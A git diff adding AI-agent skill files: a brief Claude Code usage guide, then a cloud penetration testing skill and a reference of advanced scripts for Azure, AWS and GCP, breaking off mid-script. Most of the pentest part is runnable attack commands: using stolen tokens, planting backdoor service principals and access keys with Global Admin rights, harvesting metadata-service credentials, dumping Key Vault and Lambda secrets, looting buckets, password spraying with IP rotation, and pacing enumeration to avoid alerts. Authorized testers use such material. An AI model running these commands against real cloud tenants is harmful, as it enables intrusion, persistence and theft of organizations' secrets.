description: Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.
|
||||
---
|
||||
|
||||
# Claude Code Guide
|
||||
|
||||
## Purpose
|
||||
|
||||
To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
|
||||
|
||||
## Configuration (`CLAUDE.md`)
|
||||
|
||||
When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
|
||||
|
||||
### Template (General)
|
||||
|
||||
```markdown
|
||||
# Project Guidelines
|
||||
|
||||
## Commands
|
||||
|
||||
- Run app: `npm run dev`
|
||||
- Test: `npm test`
|
||||
- Build: `npm run build`
|
||||
|
||||
## Code Style
|
||||
|
||||
- Use TypeScript for all new code.
|
||||
- Functional components with Hooks for React.
|
||||
- Tailwind CSS for styling.
|
||||
- Early returns for error handling.
|
||||
|
||||
## Workflow
|
||||
|
||||
- Read `README.md` first to understand project context.
|
||||
- Before editing, read the file content.
|
||||
- After editing, run tests to verify.
|
||||
```
|
||||
|
||||
## Advanced Features
|
||||
|
||||
### Thinking Keywords
|
||||
|
||||
Use these keywords in your prompts to trigger deeper reasoning from the agent:
|
||||
|
||||
- "Think step-by-step"
|
||||
- "Analyze the root cause"
|
||||
- "Plan before executing"
|
||||
- "Verify your assumptions"
|
||||
|
||||
### Debugging
|
||||
|
||||
If the agent is stuck or behaving unexpectedly:
|
||||
|
||||
1. **Clear Context**: Start a new session or ask the agent to "forget previous instructions" if confused.
|
||||
2. **Explicit Instructions**: Be extremely specific about paths, filenames, and desired outcomes.
|
||||
3. **Logs**: Ask the agent to "check the logs" or "run the command with verbose output".
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Small Contexts**: Don't dump the entire codebase into the context. Use `grep` or `find` to locate relevant files first.
|
||||
2. **Iterative Development**: Ask for small changes, verify, then proceed.
|
||||
3. **Feedback Loop**: If the agent makes a mistake, correct it immediately and ask it to "add a lesson" to its memory (if supported) or `CLAUDE.md`.
|
||||
|
||||
## Reference
|
||||
|
||||
Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).
|
||||
498
skills/cloud-penetration-testing/SKILL.md
Normal file
498
skills/cloud-penetration-testing/SKILL.md
Normal file
@@ -0,0 +1,498 @@
|
||||
---
|
||||
name: Cloud Penetration Testing
|
||||
description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
|
||||
---
|
||||
|
||||
# Cloud Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
```bash
|
||||
# Azure tools
|
||||
Install-Module -Name Az -AllowClobber -Force
|
||||
Install-Module -Name MSOnline -Force
|
||||
Install-Module -Name AzureAD -Force
|
||||
|
||||
# AWS CLI
|
||||
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
||||
unzip awscliv2.zip && sudo ./aws/install
|
||||
|
||||
# GCP CLI
|
||||
curl https://sdk.cloud.google.com | bash
|
||||
gcloud init
|
||||
|
||||
# Additional tools
|
||||
pip install scoutsuite pacu
|
||||
```
|
||||
|
||||
### Required Knowledge
|
||||
- Cloud architecture fundamentals
|
||||
- Identity and Access Management (IAM)
|
||||
- API authentication mechanisms
|
||||
- DevOps and automation concepts
|
||||
|
||||
### Required Access
|
||||
- Written authorization for testing
|
||||
- Test credentials or access tokens
|
||||
- Defined scope and rules of engagement
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
|
||||
2. **Resource Inventory** - Enumerated services, storage, and compute instances
|
||||
3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
|
||||
4. **Remediation Recommendations** - Hardening guidance per platform
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Reconnaissance
|
||||
|
||||
Gather initial information about target cloud presence:
|
||||
|
||||
```bash
|
||||
# Azure: Get federation info
|
||||
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
|
||||
|
||||
# Azure: Get Tenant ID
|
||||
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
|
||||
|
||||
# Enumerate cloud resources by company name
|
||||
python3 cloud_enum.py -k targetcompany
|
||||
|
||||
# Check IP against cloud providers
|
||||
cat ips.txt | python3 ip2provider.py
|
||||
```
|
||||
|
||||
### Phase 2: Azure Authentication
|
||||
|
||||
Authenticate to Azure environments:
|
||||
|
||||
```powershell
|
||||
# Az PowerShell Module
|
||||
Import-Module Az
|
||||
Connect-AzAccount
|
||||
|
||||
# With credentials (may bypass MFA)
|
||||
$credential = Get-Credential
|
||||
Connect-AzAccount -Credential $credential
|
||||
|
||||
# Import stolen context
|
||||
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
|
||||
|
||||
# Export context for persistence
|
||||
Save-AzContext -Path C:\Temp\AzureAccessToken.json
|
||||
|
||||
# MSOnline Module
|
||||
Import-Module MSOnline
|
||||
Connect-MsolService
|
||||
```
|
||||
|
||||
### Phase 3: Azure Enumeration
|
||||
|
||||
Discover Azure resources and permissions:
|
||||
|
||||
```powershell
|
||||
# List contexts and subscriptions
|
||||
Get-AzContext -ListAvailable
|
||||
Get-AzSubscription
|
||||
|
||||
# Current user role assignments
|
||||
Get-AzRoleAssignment
|
||||
|
||||
# List resources
|
||||
Get-AzResource
|
||||
Get-AzResourceGroup
|
||||
|
||||
# Storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
# Web applications
|
||||
Get-AzWebApp
|
||||
|
||||
# SQL Servers and databases
|
||||
Get-AzSQLServer
|
||||
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
|
||||
|
||||
# Virtual machines
|
||||
Get-AzVM
|
||||
$vm = Get-AzVM -Name "VMName"
|
||||
$vm.OSProfile
|
||||
|
||||
# List all users
|
||||
Get-MSolUser -All
|
||||
|
||||
# List all groups
|
||||
Get-MSolGroup -All
|
||||
|
||||
# Global Admins
|
||||
Get-MsolRole -RoleName "Company Administrator"
|
||||
Get-MSolGroupMember -GroupObjectId $GUID
|
||||
|
||||
# Service Principals
|
||||
Get-MsolServicePrincipal
|
||||
```
|
||||
|
||||
### Phase 4: Azure Exploitation
|
||||
|
||||
Exploit Azure misconfigurations:
|
||||
|
||||
```powershell
|
||||
# Search user attributes for passwords
|
||||
$users = Get-MsolUser -All
|
||||
foreach($user in $users){
|
||||
$props = @()
|
||||
$user | Get-Member | foreach-object{$props+=$_.Name}
|
||||
foreach($prop in $props){
|
||||
if($user.$prop -like "*password*"){
|
||||
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Execute commands on VMs
|
||||
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
|
||||
|
||||
# Extract VM UserData
|
||||
$vms = Get-AzVM
|
||||
$vms.UserData
|
||||
|
||||
# Dump Key Vault secrets
|
||||
az keyvault list --query '[].name' --output tsv
|
||||
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
|
||||
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
|
||||
az keyvault secret show --id <URI>
|
||||
```
|
||||
|
||||
### Phase 5: Azure Persistence
|
||||
|
||||
Establish persistence in Azure:
|
||||
|
||||
```powershell
|
||||
# Create backdoor service principal
|
||||
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
|
||||
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
|
||||
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
|
||||
|
||||
# Add service principal to Global Admin
|
||||
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
|
||||
$role = Get-MsolRole -RoleName "Company Administrator"
|
||||
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
|
||||
|
||||
# Login as service principal
|
||||
$cred = Get-Credential # AppID as username, secret as password
|
||||
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
|
||||
|
||||
# Create new admin user via CLI
|
||||
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
|
||||
```
|
||||
|
||||
### Phase 6: AWS Authentication
|
||||
|
||||
Authenticate to AWS environments:
|
||||
|
||||
```bash
|
||||
# Configure AWS CLI
|
||||
aws configure
|
||||
# Enter: Access Key ID, Secret Access Key, Region, Output format
|
||||
|
||||
# Use specific profile
|
||||
aws configure --profile target
|
||||
|
||||
# Test credentials
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
### Phase 7: AWS Enumeration
|
||||
|
||||
Discover AWS resources:
|
||||
|
||||
```bash
|
||||
# Account information
|
||||
aws sts get-caller-identity
|
||||
aws iam list-users
|
||||
aws iam list-roles
|
||||
|
||||
# S3 Buckets
|
||||
aws s3 ls
|
||||
aws s3 ls s3://bucket-name/
|
||||
aws s3 sync s3://bucket-name ./local-dir
|
||||
|
||||
# EC2 Instances
|
||||
aws ec2 describe-instances
|
||||
|
||||
# RDS Databases
|
||||
aws rds describe-db-instances --region us-east-1
|
||||
|
||||
# Lambda Functions
|
||||
aws lambda list-functions --region us-east-1
|
||||
aws lambda get-function --function-name <name>
|
||||
|
||||
# EKS Clusters
|
||||
aws eks list-clusters --region us-east-1
|
||||
|
||||
# Networking
|
||||
aws ec2 describe-subnets
|
||||
aws ec2 describe-security-groups --group-ids <sg-id>
|
||||
aws directconnect describe-connections
|
||||
```
|
||||
|
||||
### Phase 8: AWS Exploitation
|
||||
|
||||
Exploit AWS misconfigurations:
|
||||
|
||||
```bash
|
||||
# Check for public RDS snapshots
|
||||
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
|
||||
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
|
||||
# AttributeValues = "all" means publicly accessible
|
||||
|
||||
# Extract Lambda environment variables (may contain secrets)
|
||||
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
|
||||
|
||||
# Access metadata service (from compromised EC2)
|
||||
curl http://169.254.169.254/latest/meta-data/
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# IMDSv2 access
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
|
||||
```
|
||||
|
||||
### Phase 9: AWS Persistence
|
||||
|
||||
Establish persistence in AWS:
|
||||
|
||||
```bash
|
||||
# List existing access keys
|
||||
aws iam list-access-keys --user-name <username>
|
||||
|
||||
# Create backdoor access key
|
||||
aws iam create-access-key --user-name <username>
|
||||
|
||||
# Get all EC2 public IPs
|
||||
for region in $(cat regions.txt); do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
|
||||
done
|
||||
```
|
||||
|
||||
### Phase 10: GCP Enumeration
|
||||
|
||||
Discover GCP resources:
|
||||
|
||||
```bash
|
||||
# Authentication
|
||||
gcloud auth login
|
||||
gcloud auth activate-service-account --key-file creds.json
|
||||
gcloud auth list
|
||||
|
||||
# Account information
|
||||
gcloud config list
|
||||
gcloud organizations list
|
||||
gcloud projects list
|
||||
|
||||
# IAM Policies
|
||||
gcloud organizations get-iam-policy <org-id>
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Enabled services
|
||||
gcloud services list
|
||||
|
||||
# Source code repos
|
||||
gcloud source repos list
|
||||
gcloud source repos clone <repo>
|
||||
|
||||
# Compute instances
|
||||
gcloud compute instances list
|
||||
gcloud beta compute ssh --zone "region" "instance" --project "project"
|
||||
|
||||
# Storage buckets
|
||||
gsutil ls
|
||||
gsutil ls -r gs://bucket-name
|
||||
gsutil cp gs://bucket/file ./local
|
||||
|
||||
# SQL instances
|
||||
gcloud sql instances list
|
||||
gcloud sql databases list --instance <id>
|
||||
|
||||
# Kubernetes
|
||||
gcloud container clusters list
|
||||
gcloud container clusters get-credentials <cluster> --region <region>
|
||||
kubectl cluster-info
|
||||
```
|
||||
|
||||
### Phase 11: GCP Exploitation
|
||||
|
||||
Exploit GCP misconfigurations:
|
||||
|
||||
```bash
|
||||
# Get metadata service data
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
|
||||
|
||||
# Check access scopes
|
||||
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
|
||||
|
||||
# Decrypt data with keyring
|
||||
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
|
||||
|
||||
# Serverless function analysis
|
||||
gcloud functions list
|
||||
gcloud functions describe <name>
|
||||
gcloud functions logs read <name> --limit 100
|
||||
|
||||
# Find stored credentials
|
||||
sudo find /home -name "credentials.db"
|
||||
sudo cp -r /home/user/.config/gcloud ~/.config
|
||||
gcloud auth list
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Azure Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `Connect-AzAccount` |
|
||||
| List subscriptions | `Get-AzSubscription` |
|
||||
| List users | `Get-MsolUser -All` |
|
||||
| List groups | `Get-MsolGroup -All` |
|
||||
| Current roles | `Get-AzRoleAssignment` |
|
||||
| List VMs | `Get-AzVM` |
|
||||
| List storage | `Get-AzStorageAccount` |
|
||||
| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
|
||||
|
||||
### AWS Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Configure | `aws configure` |
|
||||
| Caller identity | `aws sts get-caller-identity` |
|
||||
| List users | `aws iam list-users` |
|
||||
| List S3 buckets | `aws s3 ls` |
|
||||
| List EC2 | `aws ec2 describe-instances` |
|
||||
| List Lambda | `aws lambda list-functions` |
|
||||
| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
|
||||
|
||||
### GCP Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `gcloud auth login` |
|
||||
| List projects | `gcloud projects list` |
|
||||
| List instances | `gcloud compute instances list` |
|
||||
| List buckets | `gsutil ls` |
|
||||
| List clusters | `gcloud container clusters list` |
|
||||
| IAM policy | `gcloud projects get-iam-policy <project>` |
|
||||
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
|
||||
|
||||
### Metadata Service URLs
|
||||
|
||||
| Provider | URL |
|
||||
|----------|-----|
|
||||
| AWS | `http://169.254.169.254/latest/meta-data/` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
|
||||
|
||||
### Useful Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| ScoutSuite | Multi-cloud security auditing |
|
||||
| Pacu | AWS exploitation framework |
|
||||
| AzureHound | Azure AD attack path mapping |
|
||||
| ROADTools | Azure AD enumeration |
|
||||
| WeirdAAL | AWS service enumeration |
|
||||
| MicroBurst | Azure security assessment |
|
||||
| PowerZure | Azure post-exploitation |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Respect scope boundaries between cloud accounts
|
||||
- Do not access production customer data
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- MFA may prevent credential-based attacks
|
||||
- Conditional Access policies may restrict access
|
||||
- CloudTrail/Activity Logs record all API calls
|
||||
- Some resources require specific regional access
|
||||
|
||||
### Detection Considerations
|
||||
- Cloud providers log all API activity
|
||||
- Unusual access patterns trigger alerts
|
||||
- Use slow, deliberate enumeration
|
||||
- Consider GuardDuty, Security Center, Cloud Armor
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Azure Password Spray
|
||||
|
||||
**Scenario:** Test Azure AD password policy
|
||||
|
||||
```powershell
|
||||
# Using MSOLSpray with FireProx for IP rotation
|
||||
# First create FireProx endpoint
|
||||
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
|
||||
|
||||
# Spray passwords
|
||||
Import-Module .\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
|
||||
```
|
||||
|
||||
### Example 2: AWS S3 Bucket Enumeration
|
||||
|
||||
**Scenario:** Find and access misconfigured S3 buckets
|
||||
|
||||
```bash
|
||||
# List all buckets
|
||||
aws s3 ls | awk '{print $3}' > buckets.txt
|
||||
|
||||
# Check each bucket for contents
|
||||
while read bucket; do
|
||||
echo "Checking: $bucket"
|
||||
aws s3 ls s3://$bucket 2>/dev/null
|
||||
done < buckets.txt
|
||||
|
||||
# Download interesting bucket
|
||||
aws s3 sync s3://misconfigured-bucket ./loot/
|
||||
```
|
||||
|
||||
### Example 3: GCP Service Account Compromise
|
||||
|
||||
**Scenario:** Pivot using compromised service account
|
||||
|
||||
```bash
|
||||
# Authenticate with service account key
|
||||
gcloud auth activate-service-account --key-file compromised-sa.json
|
||||
|
||||
# List accessible projects
|
||||
gcloud projects list
|
||||
|
||||
# Enumerate compute instances
|
||||
gcloud compute instances list --project target-project
|
||||
|
||||
# Check for SSH keys in metadata
|
||||
gcloud compute project-info describe --project target-project | grep ssh
|
||||
|
||||
# SSH to instance
|
||||
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
|
||||
| Permission denied | List current roles; try different resources; check resource policies; verify region |
|
||||
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
|
||||
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
|
||||
|
||||
## References
|
||||
|
||||
- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation
|
||||
@@ -0,0 +1,318 @@
|
||||
# Advanced Cloud Pentesting Scripts
|
||||
|
||||
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
|
||||
|
||||
## Azure Automation Runbooks
|
||||
|
||||
### Export All Runbooks from All Subscriptions
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
mkdir .\$subscriptionid\
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$runbooks = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
|
||||
}
|
||||
foreach($r in $runbooks){
|
||||
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Export All Automation Job Outputs
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$jobout = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$jobs = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
|
||||
}
|
||||
foreach($r in $jobs){
|
||||
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
|
||||
}
|
||||
}
|
||||
$jobout | Out-File -Encoding ascii joboutputs.txt
|
||||
```
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
### List All Function App Hostnames
|
||||
|
||||
```powershell
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$f.EnabledHostname
|
||||
}
|
||||
```
|
||||
|
||||
### Extract Function App Information
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$allfunctioninfo = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
|
||||
$allfunctioninfo += $f.SiteConfig | fl
|
||||
$allfunctioninfo += $f.ApplicationSettings | fl
|
||||
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
|
||||
}
|
||||
}
|
||||
$allfunctioninfo
|
||||
```
|
||||
|
||||
## Azure Device Code Login Flow
|
||||
|
||||
### Initiate Device Code Login
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com"
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers = @{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
Navigate to https://microsoft.com/devicelogin and enter the code.
|
||||
|
||||
### Retrieve Access Tokens
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
## Azure Managed Identity Token Retrieval
|
||||
|
||||
```powershell
|
||||
# From Azure VM
|
||||
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
|
||||
# Full instance metadata
|
||||
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
$instance
|
||||
```
|
||||
|
||||
## AWS Region Iteration Scripts
|
||||
|
||||
Create `regions.txt`:
|
||||
```
|
||||
us-east-1
|
||||
us-east-2
|
||||
us-west-1
|
||||
us-west-2
|
||||
ca-central-1
|
||||
eu-west-1
|
||||
eu-west-2
|
||||
eu-west-3
|
||||
eu-central-1
|
||||
eu-north-1
|
||||
ap-southeast-1
|
||||
ap-southeast-2
|
||||
ap-south-1
|
||||
ap-northeast-1
|
||||
ap-northeast-2
|
||||
ap-northeast-3
|
||||
sa-east-1
|
||||
```
|
||||
|
||||
### List All EC2 Public IPs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
|
||||
done < regions.txt
|
||||
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
|
||||
```
|
||||
|
||||
### List All ELB DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u elb-public-dns.txt -o elb-public-dns.txt
|
||||
```
|
||||
|
||||
### List All RDS DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u rds-public-dns.txt -o rds-public-dns.txt
|
||||
```
|
||||
|
||||
### Get CloudFormation Outputs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
|
||||
done < regions.txt
|
||||
```
|
||||
|
||||
## ScoutSuite jq Parsing Queries
|
||||
|
||||
### AWS Queries
|
||||
|
||||
```bash
|
||||
# Find All Lambda Environment Variables
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
|
||||
done
|
||||
|
||||
# Find World Listable S3 Buckets
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
|
||||
done
|
||||
|
||||
# Find All EC2 User Data
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
|
||||
done
|
||||
|
||||
# Find EC2 Security Groups That Whitelist AWS CIDRs
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Volumes Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Snapshots Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
|
||||
done
|
||||
```
|
||||
|
||||
### Azure Queries
|
||||
|
||||
```bash
|
||||
# List All Azure App Service Host Names
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
|
||||
|
||||
# List All Azure SQL Servers
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
|
||||
|
||||
# List All Azure Virtual Machine Hostnames
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
|
||||
|
||||
# List Storage Accounts
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
|
||||
|
||||
# List Disks Encrypted with Platform Managed Keys
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
|
||||
```
|
||||
|
||||
## Password Spraying with Az PowerShell
|
||||
|
||||
```powershell
|
||||
$userlist = Get-Content userlist.txt
|
||||
$passlist = Get-Content passlist.txt
|
||||
$linenumber = 0
|
||||
$count = $userlist.count
|
||||
foreach($line in $userlist){
|
||||
$user = $line
|
||||
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
|
||||
$current = $linenumber + 1
|
||||
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
|
||||
$linenumber++
|
||||
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
|
||||
try {
|
||||
